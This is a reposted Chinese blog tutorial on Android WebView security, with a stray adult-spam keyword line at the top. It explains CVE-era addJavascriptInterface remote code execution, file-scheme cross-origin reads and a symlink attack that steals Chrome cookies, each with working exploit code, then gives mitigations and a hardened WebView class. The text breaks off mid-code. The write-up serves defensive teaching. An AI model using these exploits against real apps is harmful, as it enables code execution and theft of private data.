日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

android WebView详解,常见漏洞详解和安全源码(下)

發布時間:2025/3/15 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 android WebView详解,常见漏洞详解和安全源码(下) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

上篇博客主要分析了 WebView 的詳細使用,這篇來分析 WebView 的常見漏洞和使用的坑。?
  上篇:android WebView詳解,常見漏洞詳解和安全源碼(上)?
  轉載請注明出處:http://blog.csdn.net/self_study/article/details/55046348?
  對技術感興趣的同鞋加群 544645972 一起交流。

WebView 常見漏洞

  WebView 的漏洞也是不少,列舉一些常見的漏洞,實時更新,如果有其他的常見漏洞,知會一下我~~

WebView 任意代碼執行漏洞

  已知的 WebView 任意代碼執行漏洞有 4 個,較早被公布是?CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口會引起遠程代碼執行漏洞。接著是?CVE-2013-4710,針對某些特定機型會存在 addJavascriptInterface API 引起的遠程代碼執行漏洞。之后是?CVE-2014-1939?爆出 WebView 中內置導出的 “searchBoxJavaBridge_” Java Object 可能被利用,實現遠程任意代碼。再后來是?CVE-2014-7224,類似于?CVE-2014-1939?,WebView 內置導出 “accessibility” 和 “accessibilityTraversal” 兩個 Java Object 接口,可被利用實現遠程任意代碼執行。
  一般情況下,WebView 使用 Javascript 腳本的代碼如下所示:

WebView mWebView = (WebView)findViewById(R.id.webView); WebSettings msetting = mWebView.getSettings(); msetting.setJavaScriptEnabled(true); mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”); mWebView.loadUrl(url);
  • 1
  • 2
  • 3
  • 4
  • 5

CVE-2012-6636?和?CVE-2013-4710

  Android 系統為了方便 APP 中 Java 代碼和網頁中的 Javascript 腳本交互,在 WebView 控件中實現了 addJavascriptInterface 接口,如上面的代碼所示,我們來看一下這個方法的官方描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.The Java object's fields are not accessible.
  • 1
  • 2
For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are enumerable from JavaScript.
  • 1
  • 2
  可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用這個方法是不安全的,網頁中的JS腳本可以利用接口 “testjs” 調用 App 中的 Java 代碼,而 Java 對象繼承關系會導致很多 Public 的函數及 getClass 函數都可以在JS中被訪問,結合 Java 的反射機制,攻擊者還可以獲得系統類的函數,進而可以進行任意代碼執行,首先第一步 WebView 添加 Javascript 對象,并且添加一些權限,比如想要獲取 SD 卡上面的信息就需要 `android.permission.WRITE_EXTERNAL_STORAGE` ;第二步 JS 中可以遍歷 window 對象,找到存在 getClass 方法的對象,再通過反射的機制,得到 Runtime 對象,然后就可以調用靜態方法來執行一些命令,比如訪問文件的命令;第三步就是從執行命令后返回的輸入流中得到字符串,比如執行完訪問文件的命令之后,就可以得到文件名的信息了,有很嚴重暴露隱私的危險,核心 JS 代碼:function execute(cmdArgs) { for (var obj in window) { if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

所以當一些 APP 通過掃描二維碼打開一個外部網頁的時候,就可以執行這段 js 代碼,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中瀏覽器 APP 成為重災區,但截至目前仍有很多 APP 中依然存在此漏洞,與以往不同的只是攻擊入口發生了一定的變化。另外一些小廠商的 APP 開發團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用 addJavascriptInterface 接口,明目張膽踩雷。
  出于安全考慮,Google 在 API17 版本中就規定能夠被調用的函數必須以 @JavascriptInterface 進行注解,理論上如果 APP 依賴的 API 為 17(Android 4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17 依然受影響,所以危害性到目前為止依舊不小。關于所有 Android 機型的占比,可以看看 Google 的?Dashboards:
?

截止 2017/1/9 日,可以看到 android5.0 之下的手機依舊不少,需要重視。
  漏洞的解決

  但是這個漏洞也是有解決方案的,上面的很多地方也都提到了這個漏洞,那么這個漏洞怎么去解決呢?這就需要用到 onJsPrompt 這個方法了,這里先給出解決這個漏洞的具體步驟,在下面的源碼部分有修復這個漏洞的詳細代碼:

  • 繼承 WebView ,重寫 addJavascriptInterface 方法,然后在內部自己維護一個對象映射關系的 Map,當調用 addJavascriptInterface 方法,將需要添加的 JS 接口放入這個 Map 中;
  • 每次當 WebView 加載頁面的時候加載一段本地的 JS 代碼:

javascript:(function JsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_name is exist!!');}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));},};}})()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

這段 JS 代碼定義了注入的格式,其中的 XXX 為注入對象的方法名字,終端和 web 端只要按照定義的格式去互相調用即可,如果這個對象有多個方法,則會注冊多個 window.XXX_js_interface_name 塊;

然后在 prompt 中返回我們約定的字符串,當然這個字符串也可以自己重新定義,它包含了特定的標識符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,參數,對象名等;當 JS 調用 XXX 方法的時候,就會調用到終端 Native 層的 OnJsPrompt 方法中,我們再解析出方法名,參數,對象名等,解析出來之后進行相應的處理,同時返回值也可以通過 prompt 返回回去;window.XXX_js_interface_name 代表在 window 上聲明了一個對象,聲明的方式是:方法名:function(參數1,參數2)。還有一個問題是什么時候加載這段 JS 呢,在 WebView 正常加載 URL 的時候去加載它,但是會發現當 WebView 跳轉到下一個頁面時,之前加載的 JS 可能就已經無效了,需要再次加載,所以通常需要在一下幾個方法中加載 JS,這幾個方法分別是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。?
  通過這幾步,就可以簡單的修復漏洞問題,但是還需要注意幾個問題,需要過濾掉 Object 類的方法,由于通過反射的形式來得到指定對象的方法,所以基類的方法也可以得到,最頂層的基類就是 Object,為了不把 getClass 等方法注入到 JS 中,我們需要把 Object 的共有方法過濾掉,需要過濾的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,“toString”,“wait”,具體的代碼實現可以看看下面的源碼。

CVE-2014-1939

  在 2014 年發現在 Android4.4 以下的系統中,webkit 中默認內置了 “searchBoxJavaBridge_”,代碼位于 “java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執行的威脅,所以就算沒有通過 addJavascriptInterface 加入任何的對象,系統也會加入一個 searchBoxJavaBridge_ 對象,解決辦法就是通過 removeJavascriptInterface 方法將對象刪除。

CVE-2014-7224

  在 2014 年,研究人員 Daoyuan Wu 和 Rocky Chang 發現,當系統輔助功能服務被開啟時,在 Android4.4 以下的系統中,由系統提供的 WebView 組件都默認導出 ”accessibility” 和 ”accessibilityTraversal” 這兩個接口,代碼位于 “android/webkit/AccessibilityInjector.java”,這兩個接口同樣存在遠程任意代碼執行的威脅,同樣的需要通過 removeJavascriptInterface 方法將這兩個對象刪除。

WebView 密碼明文存儲漏洞

  WebView 默認開啟密碼保存功能 mWebView.setSavePassword(true),如果該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險,所以需要通過 WebSettings.setSavePassword(false) 關閉密碼保存提醒功能。

WebView 域控制不嚴格漏洞

  要了解 WebView 中 file 協議的安全性,我們這里用一個簡單的例子來演示一下,這個 APP 中有一個頁面叫做 WebViewActivity :

public class WebViewActivity extends Activity {private WebView webView;public void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview);webView = (WebView) findViewById(R.id.webView);//webView.getSettings().setJavaScriptEnabled(true); (0)//webView.getSettings().setAllowFileAccess(false); (1)//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)Intent i = getIntent();String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html webView.loadUrl(url);}}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
將該 WebViewActivity 設置為 exported=”true”,當其他應用啟動此 Activity 時, intent 中的 data 直接被當作 url 來加載(假定傳進來的 url 為 file:///data/local/tmp/attack.html ),通過其他 APP 使用顯式 ComponentName 或者其他類似方式就可以很輕松的啟動該 WebViewActivity ,我們知道因為 Android 中的 sandbox,Android 中的各應用是相互隔離的,在一般情況下 A 應用是不能訪問 B 應用的文件的,但不正確的使用 WebView 可能會打破這種隔離,從而帶來應用數據泄露的威脅,即 A 應用可以通過 B 應用導出的 Activity 讓 B 應用加載一個惡意的 file 協議的 url,從而可以獲取 B 應用的內部私有文件,下面我們著重分析這幾個 API 對 WebView 安全性的影響。

setAllowFileAccess

Enables or disables file access within WebView. File access is enabled by default. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res.
  • 1
  • 2
  • 3

  通過這個 API 可以設置是否允許 WebView 使用 File 協議,Android 中默認 setAllowFileAccess(true),所以默認值是允許,在 File 域下,能夠執行任意的 JavaScript 代碼,?同源策略跨域訪問則能夠對私有目錄文件進行訪問,APP 嵌入的 WebView 未對 file:/// 形式的 URL 做限制,所以使用 file 域加載的 js 能夠使用同源策略跨域訪問導致隱私信息泄露,針對 IM 類軟件會導致聊天信息、聯系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是 cookie 信息泄露。如果不允許使用 file 協議,則不會存在下面將要講到的各種跨源的安全威脅,但同時也限制了 WebView 的功能,使其不能加載本地的 html 文件。禁用 file 協議后,讓 WebViewActivity 打開 attack.html 會得到如下圖所示的輸出,圖中所示的文件是存在的,但 WebView 禁止加載此文件,移動版的 Chrome 默認禁止加載 file 協議的文件。

那么怎么解決呢,不要著急,繼續往下看。

setAllowFileAccessFromFileURLs

Sets whether JavaScript running in the context of a file scheme URL should be allowed to access content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, this setting should be disabled. Note that the value of this setting is ignored if the value of getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript access to file scheme resources. Other access to such resources, for example, from image HTML elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH and earlier devices, you should explicitly set this value to false. The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level JELLY_BEAN and above.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  通過此API可以設置是否允許通過 file url 加載的 Javascript 讀取其他的本地文件,這個設置在 JELLY_BEAN(android 4.1) 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。當 AllowFileAccessFromFileURLs 設置為 true 時,對應上面的 attack.html 代碼為:<script> function loadXMLDoc() {var arm = "file:///etc/hosts";var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("status is"+xmlhttp.status);if (xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null); } loadXMLDoc(); </script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
,此時通過這段代碼就可以成功讀取 /etc/hosts 的內容,最顯著的例子就是 360 手機瀏覽器的早期 4.8 版本,由于未對 file 域做安全限制,惡意 APP 調用 360 瀏覽器加載本地的攻擊頁面(比如惡意 APP 釋放到 sd 卡上的一個 html)后,就可以獲取 360 手機瀏覽器下的所有私有數據,包括 webviewCookiesChromium.db 下的 Cookie 內容,但是如果設置為 false 時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地文件:I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html
  • 1
  • 2

setAllowUniversalAccessFromFileURLs

  通過此 API 可以設置是否允許通過 file url 加載的 Javascript 可以訪問其他的源,包括其他的文件和 http,https 等其他的源。這個設置在 JELLY_BEAN 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。如果此設置是允許,則 setAllowFileAccessFromFileURLs 不起做用,此時修改 attack.html 的代碼:

<script> function loadXMLDoc() {var arm = "http://www.so.com";var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("status is"+xmlhttp.status);if (xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null); } loadXMLDoc(); </script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
當 AllowFileAccessFromFileURLs 為 true 時,上述 javascript 可以成功讀取 http://www.so.com 的內容,但設置為 false 時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 訪問其他源的資源:I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load http://www.so.com/. Origin null is not allowed by Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html
  • 1
  • 2
  • 3

以上漏洞的初步解決方案

  通過以上的介紹,初步的方案是使用下面的代碼來杜絕:

setAllowFileAccess(true); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);
  • 1
  • 2
  • 3
這樣就可以讓 html 頁面加載本地的 javascript,同時杜絕加載的 js 訪問本地的文件或者讀取其他的源,不是就 OK 了么,而且在 JELLY_BEAN(android 4.1) 版本以及之后不是都默認為 false 了么,其實不然,我們繼續往下看其他漏洞。

使用符號鏈接跨源

  為了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都應該設置為禁止,在 JELLY_BEAN(android 4.1) 及以后的版本中這兩項設置默認也是禁止的,但是即使把這兩項都設置為 false,通過 file URL 加載的 javascript 仍然有方法訪問其他的本地文件,通過符號鏈接攻擊可以達到這一目的,前提是允許 file URL 執行 javascript。這一攻擊能奏效的原因是無論怎么限制 file 協議的同源檢查,其 javascript 都應該能訪問當前的文件,通過 javascript 的延時執行和將當前文件替換成指向其它文件的軟鏈接就可以讀取到被符號鏈接所指的文件,具體攻擊步驟見?Chromium bug 144866,下面也貼出了代碼和詳解。因為 Chrome 最新版本默認禁用 file 協議,所以這一漏洞在最新版的 Chrome 中并不存在,Google 也并沒有修復它,但是大量使用 WebView 的應用和瀏覽器,都有可能受到此漏洞的影響,通過利用此漏洞,無特殊權限的惡意 APP 可以盜取瀏覽器的任意私有文件,包括但不限于 Cookie、保存的密碼、收藏夾和歷史記錄,并可以將所盜取的文件上傳到攻擊者的服務器。下圖為通過 file URL 讀取某手機瀏覽器 Cookie 的截圖:

截圖將 Cookie alert 出來了,實際情況可以上傳到服務器,攻擊的詳細代碼如下所示:

public class MainActivity extends AppCompatActivity {public final static String MY_PKG = "com.example.safewebview";public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";public final static String TARGET_PKG = "com.android.chrome";public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";public final static String HTML ="<body>" +"<u>Wait a few seconds.</u>" +"<script>" +"var d = document;" +"function doitjs() {" +" var xhr = new XMLHttpRequest;" +" xhr.onload = function() {" +" var txt = xhr.responseText;" +" d.body.appendChild(d.createTextNode(txt));" +" alert(txt);" +" };" +" xhr.open('GET', d.URL);" +" xhr.send(null);" +"}" +"setTimeout(doitjs, 8000);" +"</script>" +"</body>";@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);doit();}public void doit() {try {// Create a malicious HTMLcmdexec("mkdir " + MY_TMP_DIR);cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);cmdexec("chmod -R 777 " + MY_TMP_DIR);Thread.sleep(1000);// Force Chrome to load the malicious HTMLinvokeChrome("file://" + HTML_PATH);Thread.sleep(4000);// Replace the HTML with a symlink to Chrome's Cookie filecmdexec("rm " + HTML_PATH);cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);} catch (Exception e) {}}public void invokeChrome(String url) {Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");startActivity(intent);}public void cmdexec(String cmd) {try {String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};Runtime.getRuntime().exec(tmp);} catch (Exception e) {}} }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
這就是使用符號鏈接跨源獲取私有文件的代碼,應該不難讀懂,首先把惡意的 js 代碼輸出到攻擊應用的目錄下,隨機命名為 xx.html,并且修改該目錄的權限,修改完成之后休眠 1s,讓文件操作完成,完成之后通過系統的 Chrome 應用去打開這個 xx.html 文件,然后等待 4s 讓 Chrome 加載完成該 html,最后將該 html 刪除,并且使用 ln -s 命令為 Chrome 的 Cookie 文件創建軟連接,注意,在這條命令執行之前 xx.html 是不存在的,執行完這條命令之后,就生成了這個文件,并且將 Cookie 文件鏈接到了 xx.html 上,于是就可以通過鏈接來訪問 Chrome 的 Cookie 了。

setJavaScriptEnabled

  通過此 API 可以設置是否允許 WebView 使用 JavaScript,默認是不允許,但很多應用,包括移動瀏覽器為了讓 WebView 執行 http 協議中的 JavaScript,都會主動設置允許 WebView 執行 JavaScript,而又不會對不同的協議區別對待,比較安全的實現是如果加載的 url 是 http 或 https 協議,則啟用 JavaScript,如果是其它危險協議,比如是 file 協議,則禁用 JavaScript。如果是 file 協議,禁用 javascript 可以很大程度上減小跨源漏洞對 WebView 的威脅,但是此時禁用 JavaScript 的執行并不能完全杜絕跨源文件泄露。例如,有的應用實現了下載功能,對于加載不了的頁面,會自動下載到 sd 卡中,由于 sd 卡中的文件所有應用都可以訪問,于是可以通過構造一個 file URL 指向被攻擊應用的私有文件,然后用此 URL 啟動被攻擊應用的 WebActivity,這樣由于該 WebActivity 無法加載該文件,就會將該文件下載到 sd 卡下面,然后就可以從 sd 卡上讀取這個文件了,當然這種應用比較少,這個也算是應用自身無意產生的一個漏洞吧。

以上漏洞的解決方案

  針對 WebView 域控制不嚴格漏洞的安全建議如下:

  • 對于不需要使用 file 協議的應用,禁用 file 協議;
  • 對于需要使用 file 協議的應用,禁止 file 協議加載 JavaScript。
  •   所以兩種解決辦法,第一種類似 Chrome,直接禁止 file 協議:

    setAllowFileAccess(false); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);
    • 1
    • 2
    • 3
    第二種是根據不同情況不同處理(無法避免應用對于無法加載的頁面下載到 sd 卡上這個漏洞):setAllowFileAccess(true); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false); if (url.startsWith("file://") {setJavaScriptEnabled(false); } else {setJavaScriptEnabled(true); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    開發中遇見的坑

      這里記錄一下開發中遇到的一些坑和解決辦法:

    loadData() 方法

      我們可以通過使用?WebView.loadData(String data, String mimeType, String encoding)?方法來加載一整個 HTML 頁面的一小段內容,第一個就是我們需要 WebView 展示的內容,第二個是我們告訴 WebView 我們展示內容的類型,一般,第三個是字節碼,但是使用的時候,這里會有一些坑,我們來看一個簡單的例子:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>"); webView.loadData(html, "text/html", "UTF-8");
    • 1
    • 2

    這里的邏輯很簡單,加載一個簡單的富文本標簽,我們看看運行后的效果:

    可以注意到這里顯示成亂碼了,可是明明已經指定了編碼格式為 UTF-8 啊,可是這就是使用的坑,我們需要將代碼進行修改:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>"); webView.loadData(html, "text/html;charset=UTF-8", "null");
    • 1
    • 2

    我們再來看看顯示效果:

    這樣我們就可以看到正確的內容了,Google 還指出,在我們這種加載的方法下,我們的 Data 數據里不能出現 ’#’, ‘%’, ‘\’ , ‘?’ 這四個字符,如果出現了我們要用 %23, %25, %27, %3f 對應來替代,網上列舉了未將特定字符轉義過程中遇到的異常現象:

    A) % 會報找不到頁面錯誤,頁面全是亂碼。 B) # 會讓你的 goBack 失效,但 canGoBAck 是可以使用的,于是就會產生返回按鈕生效,但不能返回的情況。 C) \ 和 ? 在轉換時,會報錯,因為它會把 \ 當作轉義符來使用,如果用兩級轉義,也不生效。
    • 1
    • 2
    • 3
    我們在使用 loadData() 時,就意味著需要把所有的非法字符全部轉換掉,這樣就會給運行速度帶來很大的影響,因為在使用時,很多情況下頁面 stytle 中會使用很多 ‘%’ 號,頁面的數據越多,運行的速度就會越慢。

    頁面空白

      當 WebView 嵌套在 ScrollView 里面的時候,如果 WebView 先加載了一個高度很高的網頁,然后加載了一個高度很低的網頁,就會造成 WebView 的高度無法自適應,底部出現大量空白的情況出現,具體的可以看看我以前的博客:android ScollView 嵌套 WebView 底部空白,高度無法自適應解決。

    內存泄漏

      WebView 的內存泄漏是一個比較大的問題,尤其是當加載的頁面比較龐大的時候,解決方法網上也比較多,但是看情況大部分都不是能徹底根治的,這里說一下 QQ 和微信的做法,每當打開一個 WebView 界面的時候,會開啟一個新進程,在頁面退出之后通過 System.exit(0) 關閉這個進程,這樣就不會存在內存泄漏的問題了,具體的做法可以查看這篇博客:Android WebView Memory Leak WebView內存泄漏,里面也提供了另外一種解決辦法,感興趣的可以去看一下。

    setBuiltInZoomControls 引起的 Crash

      當使用 mWebView.getSettings().setBuiltInZoomControls(true) 啟用該設置后,用戶一旦觸摸屏幕,就會出現縮放控制圖標。這個圖標過上幾秒會自動消失,但在 3.0 之上 4.4 系統之下很多手機會出現這種情況:如果圖標自動消失前退出當前 Activity 的話,就會發生 ZoomButton 找不到依附的 Window 而造成程序崩潰,解決辦法很簡單就是在 Activity 的 onDestory 方法中調用 mWebView.setVisibility(View.GONE); 方法,手動將其隱藏,就不會崩潰了。

    后臺無法釋放 JS 導致耗電

      如果 WebView 加載的的 html 里有一些 JS 一直在執行比如動畫之類的東西,如果此刻 WebView 掛在了后臺,這些資源是不會被釋放,用戶也無法感知,導致一直占有 CPU 增加耗電量,如果遇到這種情況,在 onStop 和 onResume 里分別把 setJavaScriptEnabled() 給設置成 false 和 true 即可。

    4.4 版本之后 loadUrl 加載 js 傳遞 url 自動轉義

      在開發中遇到過一個需求是在 WebView 中需要調用前端的 js 腳本處理一段 url,js 解析完這段 url 之后再把結果交由本地進行處理,但是遇到一個問題是,比如一個 url 為 “https://www.aaaa.com/bb?param1=3333%23444&param2=555%40666“,大家都知道 url 中如果存在類似“#@”這種特殊符號的時候就需要 encode 成 23% 和 40%,這樣才是一個符合要求的 url,要不然 “https://www.aaaa.com/bb?param1=3333#444&param2=555@666”這個 url 是一個非法的 url,但是當時將這段合法的 url 通過 loadUrl(“javascript:xxxxx”) 的方式傳遞給 js 的相關函數進行處理,js 端獲取到 url 被自動轉義成了“https://www.aaaa.com/bb?param1=3333#444&param2=555@666“,去 google 了很久才發現這個問題原來是 android 自帶的一個問題,見?issue:36995865,原來在 4.4 之前系統的 WebView 不會自動 decode,但是 4.4 和之后的系統上通過 loadUrl 傳遞的東西會自動將 %23 等 decode 成 #,這樣就造成在 4.4 之后通過 loadUrl 加載一段 js,傳遞一段 url,如果 url 里面有 # @ 等非法字符的時候就會造成 js 端獲取到的 url 非法,無法正常解析,解決辦法就是在 4.4 版本之后使用 evaluateJavascript 這個函數,這個函數也正好是 4.4 版本引入的,使用 evaluateJavascript 這個函數傳遞 url,就不會自動 decode,js 函數獲取到的 url 仍然是轉義后的 %23 %40,這個問題雖然很少人遇到,但是遇到了就屬于一個需要時間定位和處理的問題了。

    源碼及解析

      來看看解決上述問題的 WebView 源碼:

    public class SafeWebView extends WebView {private static final boolean DEBUG = true;private static final String VAR_ARG_PREFIX = "arg";private static final String MSG_PROMPT_HEADER = "MyApp:";/*** 對象名*/private static final String KEY_INTERFACE_NAME = "obj";/*** 函數名*/private static final String KEY_FUNCTION_NAME = "func";/*** 參數數組*/private static final String KEY_ARG_ARRAY = "args";/*** 要過濾的方法數組*/private static final String[] mFilterMethods = {"getClass","hashCode","notify","notifyAll","equals","toString","wait",};/*** 緩存addJavascriptInterface的注冊對象*/private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();/*** 緩存注入到JavaScript Context的js腳本*/private String mJsStringCache = null;public SafeWebView(Context context, AttributeSet attrs, int defStyle) {super(context, attrs, defStyle);init();}public SafeWebView(Context context, AttributeSet attrs) {super(context, attrs);init();}public SafeWebView(Context context) {super(context);init();}/*** WebView 初始化,設置監聽,刪除部分Android默認注冊的JS接口*/private void init() {setWebChromeClient(new WebChromeClientEx());setWebViewClient(new WebViewClientEx());safeSetting();removeUnSafeJavascriptImpl();}/*** 安全性設置*/private void safeSetting() {getSettings().setSavePassword(false);getSettings().setAllowFileAccess(false);//設置為 false 將不能加載本地 html 文件if (Build.VERSION.SDK_INT >= 16) {getSettings().setAllowFileAccessFromFileURLs(false);getSettings().setAllowUniversalAccessFromFileURLs(false);}}/*** 檢查SDK版本是否 >= 3.0 (API 11)*/private boolean hasHoneycomb() {return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;}/*** 檢查SDK版本是否 >= 4.2 (API 17)*/private boolean hasJellyBeanMR1() {return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;}/*** 3.0 ~ 4.2 之間的版本需要移除 Google 注入的幾個對象*/@SuppressLint("NewApi")private boolean removeUnSafeJavascriptImpl() {if (hasHoneycomb() && !hasJellyBeanMR1()) {super.removeJavascriptInterface("searchBoxJavaBridge_");super.removeJavascriptInterface("accessibility");super.removeJavascriptInterface("accessibilityTraversal");return true;}return false;}@Overridepublic void setWebViewClient(WebViewClient client) {if (hasJellyBeanMR1()) {super.setWebViewClient(client);} else {if (client instanceof WebViewClientEx) {super.setWebViewClient(client);} else if (client == null) {super.setWebViewClient(client);} else {throw new IllegalArgumentException("the \'client\' must be a subclass of the \'WebViewClientEx\'");}}}@Overridepublic void setWebChromeClient(WebChromeClient client) {if (hasJellyBeanMR1()) {super.setWebChromeClient(client);} else {if (client instanceof WebChromeClientEx) {super.setWebChromeClient(client);} else if (client == null) {super.setWebChromeClient(client);} else {throw new IllegalArgumentException("the \'client\' must be a subclass of the \'WebChromeClientEx\'");}}}/*** 如果版本大于 4.2,漏洞已經被解決,直接調用基類的 addJavascriptInterface* 如果版本小于 4.2,則使用map緩存待注入對象*/@SuppressLint("JavascriptInterface")@Overridepublic void addJavascriptInterface(Object obj, String interfaceName) {if (TextUtils.isEmpty(interfaceName)) {return;}// 如果在4.2以上,直接調用基類的方法來注冊if (hasJellyBeanMR1()) {super.addJavascriptInterface(obj, interfaceName);} else {mJsInterfaceMap.put(interfaceName, obj);}}/*** 刪除待注入對象,* 如果版本為 4.2 以及 4.2 以上,則使用父類的removeJavascriptInterface。* 如果版本小于 4.2,則從緩存 map 中刪除注入對象*/@SuppressLint("NewApi")public void removeJavascriptInterface(String interfaceName) {if (hasJellyBeanMR1()) {super.removeJavascriptInterface(interfaceName);} else {mJsInterfaceMap.remove(interfaceName);//每次 remove 之后,都需要重新構造 JS 注入mJsStringCache = null;injectJavascriptInterfaces();}}/*** 如果 WebView 是 SafeWebView 類型,則向 JavaScript Context 注入對象,確保 WebView 是有安全機制的*/private void injectJavascriptInterfaces(WebView webView) {if (webView instanceof SafeWebView) {injectJavascriptInterfaces();}}/*** 注入我們構造的 JS*/private void injectJavascriptInterfaces() {if (!TextUtils.isEmpty(mJsStringCache)) {loadUrl(mJsStringCache);return;}mJsStringCache = 